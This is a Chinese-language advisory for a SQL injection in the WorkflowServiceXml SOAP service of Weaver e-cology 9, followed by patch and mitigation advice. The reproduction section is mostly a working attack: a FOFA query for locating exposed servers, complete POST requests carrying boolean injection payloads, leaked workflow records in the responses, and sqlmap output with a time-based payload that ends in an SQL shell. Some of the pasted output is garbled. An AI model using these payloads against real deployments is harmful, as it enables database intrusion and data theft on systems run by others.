

泛微E-Cology WorkflowServiceXml SQL注入漏洞

漏洞描述

该漏洞是由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现 SQL 注入漏洞。

影响范围

e-cology 9 < 补丁版本 2024-07-10

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: app="泛微-OA (e-cology) "

POC/EXP:

POST /services/WorkflowServiceXml HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0

Content-Type: text/xml

Connection: close

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver/">
  soapenv:Header/
  soapenv:Body
    web:getHendledWorkflowRequestList
      web:in01/web:in0
      web:in11/web:in1
      web:in21/web:in2
      web:in31/web:in3
```

[web:in4](#)

[web:string1=1 AND 2=2/web:string](#)

[/web:in4](#)

[/web:getHendledWorkflowRequestList](#)

[/soapenv:Body](#)

[/soapenv:Envelope](#)

Request

数据扫描

热加载

构造请求

1

POST /services/WorkflowServiceXml HTTP/1.1

2

Host: 10.10.10.10

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0

4

Content-Type: text/xml

5

Connection: close

6

7

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">

8

<soapenv:Header/>

9

<soapenv:Body>

10

<web:getHendledWorkflowRequestList>

11

<web:in0>1</web:in0>

12

<web:in1>1</web:in1>

13

<web:in2>1</web:in2>

14

<web:in3>1</web:in3>

15

<web:in4>

16

<web:string>1=1 AND 2=2</web:string>

17

</web:in4>

18

</web:getHendledWorkflowRequestList>

19

</soapenv:Body>

20

</soapenv:Envelope>

Responses

1598bytes / 23ms

美化

详情

10

Content-Length: 1598

11

12

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><ns1:getHendledWorkflowRequestListResponse xmlns:ns1="http://webservices.workflow.weaver"><ns1:out><ns1:string><WorkflowRequestInfo<

13

<requestId<14740</requestId<

14

<requestName<2021-10-23周期会议冲突提醒:总成事业部早

15

</requestName<

16

<requestLevel<0</requestLevel<

17

<workflowBaseInfo<

18

<workflowId<1</workflowId<

19

<workflowName<系统提醒工作流</workflowName<

20

<workflowTypeId<1</workflowTypeId<

21

<workflowTypeName<系统默认工作流</

22

workflowTypeName<

23

<workflowBaseInfo<

24

<currentNodeName<提醒</currentNodeName<

25

<currentNodeId<2</currentNodeId<

26

<status<提醒</status<

27

<creatorId<1</creatorId<

28

<creatorName<系统管理员</creatorName<

29

<createTime<2021-08-24-08:26:47</createTime<

30

<lastOperatorName<系统管理员</lastOperatorName&

31

<lastOperateTime<2021-08-24-08:26:47</

32

lastOperateTime<

33

<receiveTime<2021-08-24-08:26:47</receiveTime&

34

</receiveTime<

35

<canView<false</canView<

36

<canEdit<false</canEdit<

37

<mustInputRemark<false</mustInputRemark<

38

</mustInputRemark<

39

</ns1:out></ns1:out></

40

ns1:getHendledWorkflowRequestListResponse></soap:Body></

41

soap:Envelope>

发送请求

强制 HTTPS

历史

生成Yaml模板

Request

数据扫描

热加载

构造请求

1

POST /services/WorkflowServiceXml HTTP/1.1

2

Host: 10.10.10.10

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0

4

Content-Type: text/xml

5

Connection: close

6

7

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">

8

<soapenv:Header/>

9

<soapenv:Body>

10

<web:getHendledWorkflowRequestList>

11

<web:in0>1</web:in0>

12

<web:in1>1</web:in1>

13

<web:in2>1</web:in2>

14

<web:in3>1</web:in3>

15

<web:in4>

16

<web:string>1=1 AND 2=1</web:string>

17

</web:in4>

18

</web:getHendledWorkflowRequestList>

19

</soapenv:Body>

20

</soapenv:Envelope>

Responses

361bytes / 13ms

美化

详情

1

HTTP/1.1 200 OK

2

Server: WWS

3

Cache-Control: private

4

X-Frame-Options: SAMEORIGIN

5

X-XSS-Protection: 1

6

Set-Cookie: ecology_sessionid=aaa2ioE1bT1-zc6xsBo8y; path=/

7

Content-Type: text/xml; charset=utf-8

8

Connection: close

9

Date: Sun, 14 Jul 2024 08:19:27 GMT

10

Content-Length: 361

11

12

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><ns1:getHendledWorkflowRequestListResponse xmlns:ns1="http://webservices.workflow.weaver"><ns1:out></ns1:out></

13

ns1:getHendledWorkflowRequestListResponse></soap:Body></

14

soap:Envelope>

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SOAP web:string ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
<soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>

Type: time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
<soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1 AND 2=2 OR 4713=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers
ysusers AS sys6,sysusers AS sys7)</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>
---
[16:20:23] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2016
[16:20:23] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell> |
```

修复方案

升级修复方案

官方已发布升级补丁包，支持在线升级和离线补丁安装，可在[参考链接\[1\]](#)进行下载使用。

临时缓解方案

临时缓解方案可能无法完全阻止漏洞的利用，强烈建议尽快升级到修复版本。

1. 使用WAF等安全设备进行防护。
2. 在不影响业务的情况下配置URL访问控制策略。
3. 限制访问来源地址，如非必要，不要将系统开放在互联网上。